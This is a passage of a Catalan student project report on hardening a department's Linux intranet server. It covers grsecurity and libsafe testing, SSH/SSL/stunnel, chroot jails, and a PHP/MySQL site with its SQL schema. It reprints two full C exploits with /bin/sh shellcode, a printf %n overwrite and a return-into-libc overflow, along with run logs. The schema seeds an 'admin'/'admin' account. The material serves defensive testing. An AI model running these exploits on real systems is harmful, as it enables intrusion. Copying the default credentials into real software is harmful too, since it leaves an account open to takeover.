� EXPLOIT: CANARY-EXPLOIT.C

Aquestprogramaintentausarprintf(\"%%n\") persobreescriurela adreçaderetornde
la pila:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0

b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xc

d"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

void foo(caddr_t ra)
{
    caddr_t *ra_ptr;
    FILE *fp;
    caddr_t *nextfp;

printf("This program tries to use printf(\"%%n\") to overwrite
the\n");
    printf("return address on the stack.\n");

printf("If you get a /bin/sh prompt, then the exploit has
worked.\n");
    printf("Press any key to continue...");
    getchar();

    nextfp = __builtin_frame_address(1);
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    /*
     * Find the location of the return address on the stack.
     */

for (ra_ptr=__builtin_frame_address(0)+4; *ra_ptr!=ra; ra_ptr++)
{

 if (ra_ptr >= nextfp) {
printf("Unable to find the return address on the

stack!\n");
     exit(1);
 }

    }

    /*
* Overwrite the return address with the starting address to the

attack
* code. We need to redirect the output to /dev/null, since

we're not
* really interested in the output of fprintf, just the value

written via
     * the %n conversion.
     */
    fp = fopen("/dev/null", "w");
    fprintf(fp, "%.*d%n\n", (int)shellcode, 0, (int *)ra_ptr);
    fclose(fp);
}

int main(int ac, char *av[])
{
    /*

* main() is written mostly in assembly to avoid the differences
due to

* different compilers and compiler optimizations. The
following

* instructions push the return address from foo() onto the
stack and then

* call foo(). We have to explicitly pass the return address to
foo(),

* because foo() needs to search for the location of the return
address on

* the stack. This search is necessary because some compilers
may not

* place the return address immediately before the frame
pointer, which
     * causes __builtin_return_address(0) to fail.
     */
    __asm__ __volatile__(

"push $0f;"
"call foo;"
"0: add $4,%%esp"
:
:

    );

    return 0;
}
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� EXPLOIT: EXPLOIT-NON-EXEC-STACK.C

Aquestesun programaqueintentademostrarqueinclús elskernelsquenoméstenen
la sevapila no executablesensecapaltre control podensertambévulnerables,esun
codi derivat dels proposats per  Rafal Wojtczuk i  Linus Torvalds:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define STRCPY &strcpy
#define SIZE 512
#define readRegister(var,reg) __asm__ __volatile__("movl %%" #reg ",
%0": "=r" (var))

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0

b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xc

d"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char pattern[SIZE];
char buf[SIZE];

int main(int ac, char *av[])
{
    char a[10];
    int fp, offset;

    /*
     * read the contents of the frame pointer into variable 'fp'.
     */
    readRegister(fp, ebp);
    offset = fp - (int) a + 4;

    memset(pattern, '\xff', SIZE);
    *(int *) (pattern + offset) = (int) STRCPY;
    *(int *) (pattern + offset + 4) = (int) &buf;
    *(int *) (pattern + offset + 8) = (int) &buf;
    *(int *) (pattern + offset + 12) = (int) &shellcode;
    pattern[offset + 16] = '\0';

printf("This program demonstrates how a (stack) buffer
overflow\n");

printf("can attack linux kernels with *non-executable*
stacks.\n");
    printf("This is variation on return-int-libc attack.\n");

printf("If you get a /bin/sh prompt, then the exploit has
worked.\n");
    printf("Press any key to continue...");
    getchar();

    memcpy(a, pattern, offset+16);

    return 0;
}
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Cap dels exploits anteriors van resultar exitosos, tots terminaven sobtadament
mostrant un “Killed” per pantalla com es pot veure a continuació:

coadmin@deim ~/exploits $ ./canary-exploit
This program tries to use printf("%n") to overwrite the
return address on the stack.
If you get a /bin/sh prompt, then the exploit has worked.
Press any key to continue...
Killed

Per tant s'havia comprovat que el patch grsecurity era efectiu en aquests casos.

A més de grsecurity es va considerarla possibilitat d'utilitzar la llibreria libsafe
(http://www.research.avayalabs.com/project/libsafe/),aquesta consisteix en un
mètode alternatiu per detectar buffer overflows procedentsde les funcions de
formateig de text (scanf(), strcpy()...). No es necessaricap recompilació de cap
programa i pot implementar-se de forma completament transparent al sistema.

Concretamentlibsafe consisteixen un tipus de capamitja que fa de middlewarei
interceptales cridesa totes les funcionsde formateigde text que acostumena ser
vulnerables.Seguidamentunaversiósubstitutadela corresponentfunció esexecutada
en comptesde la original, de forma que assegurique no es produeixi un buffer
overflow, evitant així que qualsevolatacantpugui sobreescriurel'adreçade retorn i
obtenir el control del programa.

Libsafeperlinux no esmésqueunallibreria dinàmica(dynamicallyloadablelibrary),
aquestas'hadecarregarabansquelesllibreriesestàndardsdel sistemacreantun arxiu
/etc/ld.so.preload amb el contingut “/lib/libsafe.so.2”.

Esva provarels exploitsanteriorsamblibsafei senseel patchgrsecurityi el resultat
de totes elles era similar a:

coadmin@deim ~/exploits $ ./t1
This program tries to use strcpy() to overflow the buffer.
If you get a /bin/sh prompt, then the exploit has worked.
Press any key to continue...
Libsafe version 2.0.16
Detected an attempt to write across stack boundary.
Terminating /home/marbleman/downloads/proyecto-final-
carrera/exploits/t1.
    uid=1000  euid=1000  pid=16170
Call stack:
    0x40016bec  /lib/libsafe.so.2.0.16
    0x40016d1b  /lib/libsafe.so.2.0.16

0x804850f /home/marbleman/downloads/proyecto-final-
carrera/exploits/t1

0x8048526 /home/marbleman/downloads/proyecto-final-
carrera/exploits/t1
    0x40041daf  /lib/libc-2.3.1.so
Overflow caused by strcpy()
Terminado (killed)
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Excepte en el cas del canary-exploit, el qual va tindre exit en la seva execució:

coadmin@deim ~/exploits $ ./canary-exploit
This program tries to use printf("%n") to overwrite the
return address on the stack.
If you get a /bin/sh prompt, then the exploit has worked.
Press any key to continue...
sh-2.05b$

Per tant, libsafe no s'estavamostrant tan bo com grsecurity. Es va avaluar la
possibilitatde combinarles duessolucionsde seguretat,però llavors al executarels
exploits anteriors es produint segmentationsfaults contínuament,fent el sistema
massa inestable:

coadmin@deim ~/exploits $  ./t5
This program tries to use strcat() to overflow the buffer.
If you get a /bin/sh prompt, then the exploit has worked.
Press any key to continue...
Segmentation fault

Així queesva decidir nomésutilitar el patchgrsecurityqueja cobriales necessitats
del sistemapersi sol.Tambéesvandescartarsolucionsdeseguretatquemodificaven
el compiladorgcc per fer que comprovesels límits dels buffers en segonsquines
circumstancies,elsmotiusvanserno trobarun patchd'aquestescaracterístiquesperla
versióde gcc ques'estavausanti a més,no complicaren excésl'administracióde la
màquinaquan nomésamb grsecurityja estàvemaconseguintun grau de seguretat
elevat.

CONNEXIONS XIFRADES  

Com ja especificàvema la nostrapolítica de seguretat,totes les connexionsque es
facin cap al servidor i que requereixin autentificació per part de l'usuari seran
xifrades.Així el login i el passwordno viatjaranen text clar per la xarxa i capaltre
personapodràinterceptaraquesti utilitzar-ho peraccediral nostreservidorde forma
no autoritzada.

Els principals protocols que utilitzarem per xifrar les connexions són 3:

� SSH (SECURESHELL)

SSHesutilitzat perpoderaccedirremotamenta la consoladel servidor,enconcretla
versióOpenSSH,té la mateixafuncionalitatqueun “telnet” però tota la informació
viatja xifrada.Comqueel servidorestaubicata unasalaespeciala on no pot accedir
tothom físicament,totes les tasquesd'administracióes faran remotamentutilitzant
SSH.
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Per incrementarla seguretat,no es permetràl'accesdirecte des de l'exterior amb
l'usuari“root”, sino ques'hauràd'entrarcom un usuarinormali despréscanviar-sea
super-usuari amb la comanda “su”.

La versiódel protocolques'utilitzaésla 2, ja quede la versió1 esva descobrirque
eradèbil davantd'atacstipus“man in themiddle”, esadir, queun tercerusuaripodria
interceptarunaconexióSSHfent d'intermediarientreel client i el servidori per tant
podia veure tota la informació que intercanviem, injectar comandes, etc...

SSHofereix tambéla possibilitatd'utilitzar SFTP(SecureFTP)per fer transferencies
d'arxius de forma xifrada. He adoptat també aquest protocol en comptes del
tradicionalFTP, per tant tot aquell quenecessitipujar arxiusal servidornecessitarà
tenir un compteambaccésSSHi per tant tambéambaccésSFTP.Desdel moment
que es va prendreaquestadecisió va sorgir un problema:el usuarisque només
volguessintenir la sevaplanawebpersonalal servidordel deim hauriende tindreun
compteperpoderpujarelsarxiusperSFTPi podrienaccedira tot el sistemavia SSH.
Per aquestmotiu es va optar per una solució de sistemesgàbiadintre del sistema
principal que comentaré en un punt més endavant.

� SSL

Utilitzem la implementacióOpenSSLde SecureSocketLayer (SSL),aquestprotocol
estableixuna capa de seguretatper diferents protocols, principalmentes utilitzat
juntamentambel protocolHTTP perservirpàginesweb.Pertant,totaplana/aplicació
web que es desenvolupien el servidor i que necessitiautentificacióes facilitarà a
l'usuari utilitzant aquest protocol xifrat.

� STUNNEL

Stunnelésun programamultiplataforma(per entornsWindows i Linux) quepermet
encriptarconnexionsTCP dintre de SSL.Es podenxifrar protocolso serveisqueno
soporteno no tenen implementatcap mètodede seguretatcom podria ser POP3,
IMAP, LDAP, etc..Amb stunnelsenserealitzarcapmodificacióal codi delsserveis
(dimonis) es poden aconseguir connexions xifrades.
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El funcionamentésel següent,direm perexemplequeel servidorofereixPOP3pera
queels usuarispuguin llegir el correuperòel servidorde mail quetenim no ofereix
POP3 encriptat, el que fem es:

1. Executarun stunnelal servidor que escolti pel port 10110 i que apunti al 110
(POP3).

2. Bloquejarper firewall el port 110,de forma quesi un usuarivol accedira aquest
servei només ho pugui fer de forma xifrada amb stunnel.

Llavors, el client per connectar-se haurà de seguir els següents passos:

1. Executarun stunnelen modeclient escoltantpel 110 i apuntanta la màquinadel
deim i al port 1010.

2. Executar el seu client de correu (que no té perquè soportar encriptació) i
configurar-hoper que baixi el correude la sevapropia màquina(127.0.0.1)pel
port 110.

D'aquestaformaescreaun túnelentrela màquinaclient i el servidorques'encarrega
d'encriptartoteslesdades,portar-lesfins l'altre punt,desencriptar-lesi entregar-lesal
dimoni servidor o al client segons el cas.

Per tant, es va decidir utilitzar aquestaaplicació per aquellsprotocols o dimonis
servidorsqueno suportessinencriptaciópersi mateixos.Mésenconcrets'utilitzaamb
el servidor d'IRC (Internet Relay Chat) que explicarem més endavant.

CHROOT (GÀBIES)  

A l'apartatdel SSHja em explicatel problemaambel queensvam trobar: la nostra
decisiód'utilitzar SFTP(SecureFTP)perpujar/baixararxiusdel servidorfeia queels
usuarisquevolguessinficar la sevaplanawebpersonalhauriendetindreun compteal
sistemai per tantpodrienaccedirperSSHa tot l'arbrededirectoris(menysa lesparts
queno tinguin permissos),cosaqueresultatotalmentinnecessàriai podriaresultaren
un risc de seguretat futur.

La solucióper la queesva optarper reduiraquestrisc va serfer ús degàbieschroot,
deforma quesi l'usuariaccedeixal sistemaperSSHnomésespuguidesplaçarper la
sevagàbia(unapetitaporció de tot l'arbrede directoris).A més,el patchgrsecurity
proporcionafuncionalitatsextra per aquesttipus de entorn per tal de fer-los més
segurs.

La implementacióquevaig escollirva serla “Jail Chroot”. Estractad'unautilitat que
construeixentorns chroot, el seu principal objectiu es ser tan simple com sigui
possible i a més, ser altament portable. La part més dificil a l'hora de construir un
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gàbia es quan s'han d'agafartotes les llibreries i arxius necessarisper poder fer
funcionarlescomandesbàsiques.Jail ensajudaenaquestafeinaautomatitzantaquest
procés,configura i construeixtots els directoris,arxius i llibreries necessaris.Esta
escrit en C, bash i perl. Les característiques més generals són:

� Funciona en Linux, Solaris, IRIX i FreeBSD
� Disseny modular, de forma que es pot portar facilment
� Suport per multiples usuaris en un mateix entorn chroot
� Shell completament configurable
� Suport per múltiples serveis: telnetd, sshd, ftpd... 
� Fàcil instal·lació amb els scripts de creacions d'entorns
� Permet executar qualsevol programa com a shell

� COM FUNCIONA JAIL?

Jail funcionacom un envoltori (wrapper)per la shell de l'usuari,de forma quequan
un usuari entra al sistemajail es executati encapsulatactivant el entorn chroot.
Llavors jail executa la shell real de l'usuari i ja pot interactuar amb el sistema.

El entornchroot és un subarbredel sistemad'arxiusreal, però dintre del chroot el
principaldirectoridel subarbreésvist coml'arrel “/”. Pertantpodemaillar facilment
els usuarisde tot l'arbrede directorisprincipal, el següentdiagramamostraaquesta
visió d'encapsulament (la part gris representa el subarbre chroot):

Pertant,qualsevolusuariconfiguratperserengabiatambJail (e.geuser3)quanentra
al sistema,serà traslladatal seu directori home i el directori arrel que veurà “/”
realment serà “/chroot”. De tal forma que l'usuari no pot sortir d'aquest subarbre.
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� FUNCIONAMENT INTERN DE JAIL

Comespot observaral diagrama,la primeracosaquefa Jail ésobtenirla informació
de l'usuari del sistema/etc/passwd.En aquestarxiu hi ha informació sobrea on es
troba jail i a quin directori s'ha de fer el chroot.

Seguidament, Jail estraslladaal directoridelusuariindicatal /etc/passwdi escridaal
chroot() creant la gàbia a partir d'ahi. Després d'aquesta crida, Jail només pot veure els
arxius que hi ha en aquestentorn. A continuació,Jail estableixalgunesvariables
d'entorn (HOME i SHELL per saber quina shell real serà executada per l'usuari).

A continuació Jail obté la informació de l'arxiu /etc/passwddel entorn chroot i
comprovasi el directoride l'usuariesel mateixqueel directori indicatal /etc/passwd
del sistema(quehemmirat abans).Si sóniguals,la variableHOME apuntaràa /, sinó
Jail canviarà al directori de l'usuari i establirà la variable HOME apuntant a aquest.

Finalment,Jail estableixla variabled'entornSHELL amb la informació llegida del
/etc/passwd de la gàbia i es reemplaça a si mateix amb la shell final en qüestió.
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DISSENY DE L'APLICACIÓ  WEB  

� TECNOLOGIA

Partint dels requeriments de l'anàlisi:

� Fàcil de mantenir
� Ràpid desenvolupament
� Disseny amb els colors oficials de la universitat
� No utilitzar frames a les webs
� Utilitzar tecnologies lleugeres
� Utilització d'estàndards
� Tornar a classificar els continguts existents
� Traduir la informació més important

Es va optarper utilitzar la tecnologiaPHPpel desenvolupamentde l'aplicació.PHP
(acrònimde “PHP:HypertextPreprocessor”)és un llenguatgelliure interpretatd'alt
nivell que s'inclou en les pròpies pàgines web i es executat en el servidor.

Exemple: Un exemple simple
<html>
    <head>
        <title>Example</title>
    </head>
    <body>

        <?php 
        echo "Hi, I'm a PHP script!"; 
        ?>

    </body>
</html>

Podemveure que no es lo mateix que un script escrit en un altre llenguatgede
programaciócomPerlo Python.En comptesd'escriuremoltscomandespercrearuna
sortidaenHTML, escrivimel codi HTML ambcert codi PHPintroduïten el mateix,
això ens produirà una sortida (en aquest cas la cadena “Hi, I'm a PHP script!”).

PHP és extremadamentsimple pel principiant, però alhora, ofereix moltes
característiquesavançadespels programadorsmés experts. Com la majoria de
llenguatgesinterpretatsés de tipat dinàmic no declaratiu, de forma que no cal
especificardequin tipussónlesvariablesni definir-lesa caplloc, això agilitzamolt el
desenvolupament.
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Un inconvenientde PHP es que produeix l'anomenatcodi espageti,la lògica del
programa,el modelde dadesi la vista es troben junts, de forma que és mésdifícil
entendreel funcionamentde les aplicacionsen generalso realitzarcanvis.En aquest
cas es va assumir el risc per diversos motius:

� Es necessitava un desenvolupament ràpid
� La aplicació resultant no tindria un tamany excessiu
� La aplicació resultant no seria propensa a canvis
� La única alternativa que no oferia aquest inconvenientdel codi espagetiera

inviable:

Es va valorar la possibilitat d'utilitzar la tecnologiaJ2EE i fer ús d'un servidor
d'aplicacionslliures comJBOSS.Oferiala possibilitatdesepararfàcilmentla vista
delmodeli dela lògicadel programautilitzantun dissenyde3 capesMVC (Model
– Vista – Control).

� El primer inconvenientd'aquestatecnologiaesqueel desenvolupamentésmés
lent.

� El segoni més important inconvenientes que inicialment disposàvemd'una
màquinaservidoraambunesprestacionsmolt pobrescom perpodercompilar i
executarcodi Java (Pentium 150 MMX – 32 MB RAM). Per tant aquesta
tecnologia va ser descartada.

� SISTEMA GESTOR DE BASE DE DADES

Un cop escollit la tecnologiaque s'usaria,s'haviade decidir quina basede dades
utilitzar per emmagatzemar la informació dinàmica que mostraria la web.

Les alternatives lliures més destacables eren MySQL i PostgreSQL:

� MySQL:
� El seu principal objectiu en el dissenyva ser la velocitat. Es van sacrificar

algunes característiques essencials en sistemes més exigents amb aquest fi.
� Consumeix molt pocs recursos, tant de CPU com de memòria.
� Llicencia GPL a partir de la versió 3.23.19
� Avantatges:

� Rendimentsuperior.Major velocitattantal connectarambel servidorcomal
fer consultes i modificacions.

� Millors utilitats d'administració (backup, recuperació d'errors, etc...)
� Millor integració amb PHP.
� Sense límits en el tamany dels registres.
� Millor control d'accés,en el sentit de quins usuaristenenaccésa quines

taules i amb quins permisos.
� MySQL es comportamillor que PostgreSQLa l'hora de modificar o afegir

camps a una taula “en calent”.
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� Inconvenients
� No suporta transaccions, “roll-backs” ni subselects.
� No considerales clausforanes.Ignorala integritat referencial,deixant-laen

mans del programador de l'aplicació.

� PostgreSQL:
� El seuobjectiuesserunabasededadesdemésalt nivell queMySQL, intentant

arribar a les característiques de Oracle, Sybase o Interbase.
� Llicencia BSD.
� Avantatges:

� Perla sevaarquitecturadedisseny,escalamolt béal augmentarel nombrede
CPUs i la quantitat de memòria RAM.

� Suportatransaccionsde de la versió7.0 (versióactual7.3.2) i clausforanes
amb integritat referencial.

� Té millor suport per triggers i procediments en el servidor.
� Suportaun subconjuntde SQL92major queel quesuportaMySQL. A més,

té certes característiques orientades a objectes.
� Inconvenients:

� Consumeix bastants recursos i carga molt més el sistema
� Límit del tamanyde cadafilera de les taulesestablera 8k, espot ampliara

32k si s'indica al compilar la base de dades però el cost afegit en el rendiment
es important.

� És de 2 a 3 vegades més lenta que MySQL
� Menys funcions en PHP

Com l'objectiu era crear una pàgina web amb contingut dinàmic, es necessitava
velocitat i es podienprescindirde certescaracterístiquesavançadeses va optar per
MySQL.

� SERVIDOR WEB

El servidor web més popular d'Internetés Apache,el qual té la llicencia Apache
consideradalliure. Ens proporciona unes molt bones prestacionsa més de la
possibilitat d'afegir-li un mòdul per utilitzar PHP, tot amb uns requerimentsde
hardwaremolt baixos.Aquestva serel servidorqueesva escollir,mésconcretament
emvaig decantarper la ramadeversions1.3.xi no per la 2.0.x,ja queaquestaúltima
encara no té suport PHP i no esta sent utilitzada massivament.
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� DISSENY VISUAL

Complint amb4 delsrequisitestablertsa la fased'anàlisirelacionatsambel disseny
visual de l'aplicació: 

� Disseny amb els colors oficials de la universitat.
� No utilitzar frames a les webs
� Utilitzar tecnologies lleugeres
� Utilització d'estàndards

Es va optar per construir totes les pàgines webs amb el mateix esquema:
� Barralateralesquerra(10%del tamanydela pantalla)ambel menúprincipaldela

web.
� Contingut en la part dreta (90% del tamanyde la pantalla)amb el color de la

universitatde fons. * Exceptela pàginaprincipal queseràdel 80% i tindrà una
altra barra lateral dreta del 10% amb links ràpids.

� Tres botons “Català – English – Castellano” a totes les pàginesque tinguin
traducció, situats sota el titol de la pàgina.

La composiciódela barralateralambel menúi el contingutesfaria dinàmicamental
servidorperevitar l'úsdeframes.En capmoments'utilitzaràtecnologiespesadescom
per exempleMacromediaFlash.En tot moments'hacomprovatque la pàginaera
visualitzadacorrectamentpelsprincipalsnavegadorsdel mercat(Mozilla, Netscapei
Internet Explorer) a qualsevol resolució.
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A continuació tenim una captura de com quedaria el model visual de la plana web:

� CONTINGUTS

Del contingutde la vella planaweb del DEIM esva decidir eliminar lo innecessari,
traslladara la planadel'escola(ETSE)allò queno tingui relacióambel departamenti
ordenar i catalogar la resta d'informació.

El resultat d'aquesta nova ordenació va ser el següent:

PRESENTACIÓ
� Reglaments del departament
� Càrrecs i comissions
� Projecció exterior
� Localització

DOCENCIA
� Laboratoris
� Propostes Tesi
� Master en Sistemes Informàtics
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RECERCA
� Deiminaris

� Nous
� Històric

� Grups de recerca
PERSONAL

� Llistat
� Cercar

AJUDA
� Manuals
� Administració DEIM

Els apartats“Ensenyamentsi assignatures”i “Projectesde final de carrera”van ser
considerats responsabilitat de l'escola (ETSE).

Es va considerarcontingut dinàmic i que podria canviar freqüentmentels apartats
“Propostes Tesi”,  “Deiminaris” i “Personal”.

Les parts importantsa traduir eren els apartats“Localització”, “PropostesTesi” i
“Personal”.

A la planaprincipal es va decidir fer un sistemade notícies/novetatsdinàmic a on
poder anar avisanta l'internautade les novetatsa la web o al propi Departament
d'EnginyeriaInformàtica i Matemàtiques.A més,a la barra lateral dretaes ficarien
uns links ràpids que serien configurables dinàmicament.

� FUNCIONALITAT

L'aplicació web disposaràd'una interfície d'administracióa la qual s'ha de poder
accedir mitjançant una autentificació prèvia. A aquestapodran accedir diversos
usuarisde forma que espugui configurarfàcilment quinsblocs tenenpermisos,per
exemple,s'hade podercrearun usuariquenoméstingui accésa la modificacióde
“Deiminaris”. Hi ha un usuarique te el control total i queno pot serni esborratni
modificat, es tracta de l'administrador.

Des d'aquest apartat d'administració es podrà tindre accés als següents mòduls:

� Notícies/novetats
Afegir, modificar o esborrar les notícies/novetats de portada.

� Links ràpids
Afegir, modificar o esborrar els links ràpids de la barra lateral dreta de portada.
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� Personal
Afegir, modificar o esborrarel personaldel departament.A més,com que cada
professorpertanya un àrea,tambéespodràmodificarel llistat d'àreesdisponibles.
A mésdel permísper canviartot el personal,ha d'haverun permísespecialper
aquest mòdul que permeti a un usuari canviar les seves dades però no les del altres.

� Tesis
Afegir, modificar o esborrar les tesis proposades.Cada tesis pertany a una
categoria, des d'aquest mòdul es permetrà canviar el llistat de categories
disponibles.A mésdel permísper canviar totes les tesis,ha d'haverun permís
especialper aquestmòdul quepermetia un usuaricanviarles sevestesisperòno
les del altres.

� Deiminaris
Afegir, modificar o esborrarels deiminaris (seminaris),tant els antics com els
nous. Es permetrà l'enviament d'emails preformatejatsamb el contingut del
seminariper fer pre-avisosi avisosdelseventsdeformaautomàtitzada.A més,ha
d'haver la possibilitat de composarautomàticamentun document imprimible
(preferiblement PDF) per realitzar els cartells publicitaris per penjar a la
Universitat.

� Usuaris
Afegir, modificar o esborrar els usuaris que tenen accés a aquest apartat
d'administració,a méshadedisposard'unsistemadepermisosperpoderrestringir
l'accés a segons quins mòduls.

� Logs
Visualitzarels logs de l'aplicacióperdetectaratacsal sistema.Noméspot accedir
l'administrador.

Tots els canvisfets ambel menúd'administracióes veuranreflexatsa la planaweb
principal i a les seves seccions corresponents.
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� DIAGRAMES UML

A continuació veurem els diagramesUML dels casos d'ús corresponentsa les
anteriors explicacions:

Administració de novetats/notícies
Accessible amb autentificació prèvia
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Administració de personal
Accessible amb autentificació prèvia

Administració de tesis
Accessible amb autentificació prèvia
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Administració de deiminaris (seminaris)
Accessible amb autentificació prèvia

Administració d'usuaris
Accessible amb autentificació prèvia
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Administrador
Accessible amb autentificació prèvia

Plana principal
Accessible per tothom
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Esquema conceptual per la implementació del menú administratiu
Accessible amb autentificació prèvia
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Esquema conceptual per la implementació de la plana principal
Accessible per tothom
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� DISSENY DE LA BASE DE DADES

Per permetretota la funcionalitat especificadai guardartotes les dadess'ha fet el
següent diagrama Entitat – Relació:

Tant lesnovetats,comles tesisquetenenentitatspercadascundelsidiomesno tenen
relació alguna per dos motius:

� Es permet introduir una noticia/tesi que no tingui traducció
� El mètodeque s'utilitzaràper visualitzar les diferentsnoticies/tesisno comporta

problemesper no estarrelacionats,així tambémilloraremenrendimenttreienuna
relació que no ens aporta gaire cosa.

45



CREACIÓ  D'UN SERVIDOR PER LA  INTRANET  DEL DEIM                            

L'anterior diagrama té com a resultat les següents definicions de taules en SQL:

###
# Novetats o noticies a la web
###

CREATE TABLE novetats (
  nid int UNSIGNED NOT NULL auto_increment,
  titol varchar(80) NOT NULL default '',
  date timestamp NOT NULL,
  bodytext text NOT NULL default '',
  PRIMARY KEY (nid)
) TYPE=MyISAM;

CREATE TABLE novetats_es (
  nid int UNSIGNED NOT NULL auto_increment,
  titol varchar(80) NOT NULL default '',
  date timestamp NOT NULL,
  bodytext text NOT NULL default '',
  PRIMARY KEY (nid)
) TYPE=MyISAM;

CREATE TABLE novetats_en (
  nid int UNSIGNED NOT NULL auto_increment,
  titol varchar(80) NOT NULL default '',
  date timestamp NOT NULL,
  bodytext text NOT NULL default '',
  PRIMARY KEY (nid)
) TYPE=MyISAM;

###
# Personal del departament
###

CREATE TABLE personal (
  id int UNSIGNED NOT NULL auto_increment UNIQUE,
  nom varchar(50) NOT NULL,
  despatx varchar(15),
  telf int,
  email varchar(30),
  web varchar(50),
  area int UNSIGNED NOT NULL default 1,
  consultes varchar(100),
  PRIMARY KEY (nom)
) TYPE=MyISAM;

###
# Arees
###

CREATE TABLE arees (
  aid int UNSIGNED NOT NULL auto_increment,
  area varchar(100) NOT NULL,
  PRIMARY KEY (aid)
) TYPE=MyISAM;

INSERT INTO arees (area) VALUES ('No determinada');
INSERT INTO arees (area) VALUES ('ATC - Arquitectura i Tecnologia de
Computadors');
INSERT INTO arees (area) VALUES ('CCIA - Ciències de la Computació i
Intel·ligència Artificial');
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INSERT INTO arees (area) VALUES ('DM - Didàctica Matemàtica');
INSERT INTO arees (area) VALUES ('LSI - Llenguatges i Sistemes
Informàtics');
INSERT INTO arees (area) VALUES ('MAT - Matemàtica Aplicada');
INSERT INTO arees (area) VALUES ('PAS - Personal d\'Administració i
Serveis');

###
# Professors associats al departament
# id es correspondrà amb un registre de personal
###

CREATE TABLE profes_associats (
 id int UNSIGNED NOT NULL,
 PRIMARY KEY (id)
) TYPE=MyISAM;

###
# Becaris del departament
# id es correspondrà amb un registre de personal
###

CREATE TABLE becaris (
 id int UNSIGNED NOT NULL,
 PRIMARY KEY (id)
) TYPE=MyISAM;

###
# Propostes de Tesi
###

CREATE TABLE tesis (
 tid int UNSIGNED NOT NULL auto_increment,
 titol varchar(100) NOT NULL,
 keywords varchar(100) NOT NULL default '',
 resum text NOT NULL default '',
 categoria int UNSIGNED NOT NULL default 0,
 assignatures_rel varchar(100),
 data timestamp NOT NULL,
 id1 int UNSIGNED NOT NULL,
 id2 int UNSIGNED,
 id3 int UNSIGNED,
 PRIMARY KEY (tid)
) TYPE=MyISAM;

CREATE TABLE tesis_en (
 tid int UNSIGNED NOT NULL auto_increment,
 titol varchar(100) NOT NULL,
 keywords varchar(100) NOT NULL default '',
 resum text NOT NULL default '',
 categoria int UNSIGNED NOT NULL default 0,
 assignatures_rel varchar(100),
 data timestamp NOT NULL,
 id1 int UNSIGNED NOT NULL,
 id2 int UNSIGNED,
 id3 int UNSIGNED,
 PRIMARY KEY (tid)
) TYPE=MyISAM;

CREATE TABLE tesis_es (
 tid int UNSIGNED NOT NULL auto_increment,
 titol varchar(100) NOT NULL,
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 keywords varchar(100) NOT NULL default '',
 resum text NOT NULL default '',
 categoria int UNSIGNED NOT NULL default 0,
 assignatures_rel varchar(100),
 data timestamp NOT NULL,
 id1 int UNSIGNED NOT NULL,
 id2 int UNSIGNED,
 id3 int UNSIGNED,
 PRIMARY KEY (tid)
) TYPE=MyISAM;

###
# Categories de les tesis
###

CREATE TABLE categories (
 cid int UNSIGNED NOT NULL auto_increment,
 titol varchar(100) NOT NULL,
 PRIMARY KEY (cid)
) TYPE=MyISAM;

INSERT INTO categories (titol) VALUES ('Sense catalogar');
INSERT INTO categories (titol) VALUES ('Intel·ligencia Artificial');
INSERT INTO categories (titol) VALUES ('Internet');
INSERT INTO categories (titol) VALUES ('Càlcul Numèric');
INSERT INTO categories (titol) VALUES ('Sistemes Operatius');

###
# Deiminaris
###

CREATE TABLE deiminaris (
  did int UNSIGNED NOT NULL auto_increment,
  titol varchar(100) NOT NULL default '',
  encarregat varchar(100) NOT NULL,
  institucio varchar(100),
  departament varchar(100),
  resum text NOT NULL default '',
  data date NOT NULL,
  hora time NOT NULL,
  lloc varchar(100) NOT NULL,
  obert_a varchar(100) NOT NULL,
  idioma varchar(20) NOT NULL,
  cicle INTEGER NOT NULL,
  PRIMARY KEY (did)
) TYPE=MyISAM;

CREATE TABLE deiminaris_mail (
  email varchar(50) NOT NULL,
  PRIMARY KEY (email)
) TYPE=MyISAM;

###
# Links de la plana principal
###
CREATE TABLE links (
 info varchar(20) NOT NULL,
 link varchar(200) NOT NULL,
 pos integer NOT NULL DEFAULT '0',
 PRIMARY KEY (pos)
) TYPE=MyISAM;

###
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# Informació dels usuaris
###

CREATE TABLE usuaris (
 login char(16) binary NOT NULL,
 password char(16) binary NOT NULL,
 sessio char(32) binary default '',
 novetats ENUM('false','true') NOT NULL default 'false',
 personal ENUM('false','true') NOT NULL default 'false',
 personal_propi ENUM('false','true') NOT NULL default 'false',
 tesis_total ENUM('false', 'true') NOT NULL default 'false',
 tesis_propies ENUM('false', 'true') NOT NULL default 'false',
 deiminaris ENUM('false', 'true') NOT NULL default 'false',
 usuaris ENUM('false', 'true') NOT NULL default 'false',
 cercador ENUM('false','true') NOT NULL default 'false',
 id int unsigned NOT NULL,
 PRIMARY KEY (login)
) TYPE=MyISAM;

INSERT INTO usuaris
(login,password,novetats,personal,personal_propi,tesis_total,tesis_p
ropies,deiminaris,usuaris,
cercador,id) VALUES
('admin',PASSWORD('admin'),'true','true','true','true','true','true'
,'true'
,'true','0');

###
# Log del les autentificacions
###

CREATE TABLE log (
  login char(16) binary NOT NULL,
  ip varchar(15) NOT NULL,
  data date NOT NULL,
  hora varchar(8) NOT NULL,
  login_correcte ENUM('false','true') NOT NULL default 'false'
) TYPE=MyISAM;

Com es pot observar,en aquestadefinició ja s'insertenalgunescategoriesde tesis i
àreesde professorsper defecte,a mésde l'usuari“admin” quecomhemdit tindràel
control absolut del apartat d'administració i no es podrà esborrar ni modificar.
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4.  IMPLEMENTACIÓ
   

SISTEMA  

Comja s'hacomentata l'anàlisidel sistema,inicialmentesva instal·larunaSlackware
Linux però com es va actualitzar el hardware quan el projecte estava molt
desenvolupat, es va considerar passar a la distribució Gentoo Linux.

Deguta quela distribucióGentooLinux esla queforma partdel resultatfinal, no es
parlaràgairecosade la implantaciódeSlackwareLinux. Nomésremarcarqueen tot
moments'hacomportatmolt establei ha cobert totes les expectativesexitosament,
l'únic detall en el que ha fallat ha sigut en la falta d'alguna eina per poder actualitzar el
Softwarede la màquinaautomàticamentdesd'Internet.Cosaquefeia méscomplicat
